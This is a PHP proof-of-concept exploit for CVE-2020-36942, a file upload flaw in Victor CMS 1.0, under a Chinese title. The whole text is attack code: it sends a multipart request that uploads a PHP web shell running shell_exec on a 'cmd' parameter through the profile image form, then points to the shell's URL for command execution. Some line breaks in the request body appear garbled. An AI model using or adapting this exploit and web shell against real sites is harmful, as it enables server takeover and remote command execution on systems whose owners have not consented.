CVE-2020-36942 Victor CMS 1.0 文件上传漏洞导致远程代码执行

<?php // CVE-2020-36942 PoC - Victor CMS 1.0 File Upload to RCE // Author: security researcher // Description: Upload malicious PHP file via profile image upload $target_url = "http://target-site.com/profile_update.php"; $upload_url = "http://target-site.com/img/"; // Malicious PHP webshell $php_shell = '<?php if(isset($_GET["cmd"])){ $cmd = $_GET["cmd"]; echo "<pre>"; $result = shell_exec($cmd); echo $result; echo "</pre>"; } ?> '; // Create multipart form data $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(8)); $data = "--$boundary\r "; $data .= "Content-Disposition: form-data; name=\"user_id\"\r\n\r "; $data .= "1\r "; $data .= "--$boundary\r "; $data .= "Content-Disposition: form-data; name=\"images\"; filename=\"shell.php\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r "; $data .= $php_shell . "\r "; $data .= "--$boundary--\r\n"; $ch = curl_init($target_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: multipart/form-data; boundary=' . $boundary, 'Cookie: PHPSESSID=your_session_cookie' ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "Upload completed. Access shell at: {$upload_url}shell.php?cmd=whoami\n";